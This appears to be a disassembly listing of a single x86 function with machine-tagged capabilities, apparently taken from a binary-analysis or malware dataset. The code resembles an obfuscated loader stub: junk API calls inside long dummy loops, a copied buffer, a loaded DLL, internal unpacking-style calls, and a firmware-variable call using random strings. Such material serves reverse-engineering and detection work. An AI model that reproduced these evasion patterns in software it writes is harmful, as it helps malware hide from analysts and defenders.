Function at 0x409d50
Capabilities:
Get common file path
Manipulate console buffer
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
mov eax, dword [0x80d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x80f304]
mov ecx, dword [0x27273b4]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x180
jne 0x409d8d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x409da1
mov dword [0x80fe08], edi
mov dword [0x80fe0c], esi
inc eax
cmp eax, 0x12376ec
jl 0x409d80
mov edi, dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov dword [0x27273b4], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x409dc9
mov eax, dword [0x80def8]
mov dword [0x27274e4], eax
cmp ecx, 0x3c
jne 0x409ddd
lea ecx, [ebp - 0x2d0]
push ecx
call edi
mov ecx, dword [0x27273b4]
inc esi
cmp esi, 0x5f6c74
jl 0x409db7
cmp ecx, 0x7c
jne 0x409eb3
lea edx, [ebp - 0x818]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
lea ecx, [ebp - 0x810]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor eax, eax
xor edx, edx
mov word [ebp - 0x80a], ax
xor ecx, ecx
mov word [ebp - 0x806], dx
lea eax, [ebp - 0x848]
push eax
mov word [ebp - 0x808], cx
mov ecx, dword [ebp - 0x808]
push ecx
mov word [ebp - 0x80c], dx
mov edx, dword [ebp - 0x80c]
push edx
lea eax, [ebp - 0x814]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
lea ecx, [ebp - 0x404]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp dword [0x27273b4], 0x2d
jne 0x409e95
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x80b40c
push 0x80fd80
call fcn.00401015
push ebx
call fcn.00401235
mov ecx, dword [0x27273b4]
add esp, 0xc
cmp ecx, 0x110a
jne 0x409f53
mov dword [0x27273a8], ebx
mov dword [0x27273ac], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
lea edx, [ebp - 0x82c]
push edx
push ebx
push ebx
xor eax, eax
push ebx
push ebx
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], eax
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x804]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push ebx
push ebx
call fcn.004010c6
push ebx
push ebx
call fcn.004010c6
push ebx
call fcn.00409884
push ebx
push ebx
call fcn.00401240
push ebx
call fcn.00401155
push ebx
call fcn.00401092
add esp, 0x24
call fcn.004099b0
xor esi, esi
cmp dword [0x27273b4], ebx
jbe 0x409fbe
mov edi, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, 0x19b0
lea ecx, [ecx]
mov ecx, dword [0x27274e4]
mov dword [ebp - 0x808], ecx
mov eax, 0xa231
add dword [ebp - 0x808], eax
mov edx, dword [ebp - 0x808]
mov al, byte [edx + esi]
mov ecx, dword [0x27271fc]
mov byte [ecx + esi], al
cmp dword [0x27273b4], 0x5ab
jne 0x409fb3
push 0
push 0
push 0
call edi
mov dword [0x2727200], ebx
inc esi
cmp esi, dword [0x27273b4]
jb 0x409f70
xor ebx, ebx
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00409a20
call fcn.004099f0
call fcn.00409d10
call fcn.004099e0
mov ecx, dword [ebp - 0x838]
xor eax, eax
cmp eax, 0x408e
jle 0x409ff4
cmp ecx, 0xf5bed7
jne 0x409ffc
inc eax
cmp eax, 0x687ed2
jl 0x409fe5
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x80c], 0x1e4165
mov ebx, 0x8e46a6f0
jmp 0x40a020
cmp dword [0x27273b4], 0xcc1
jne 0x40a03c
push 0
push 0
push str.jisepodocagewevimomuy
push str.todotagecukazujewevu
call esi
cmp dword [0x27273b4], 0x7c4
mov dword [0x27273b0], ebx
jne 0x40a050
call edi
sub dword [ebp - 0x80c], 1
jne 0x40a020
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401006
mov esp, ebp
pop ebp
ret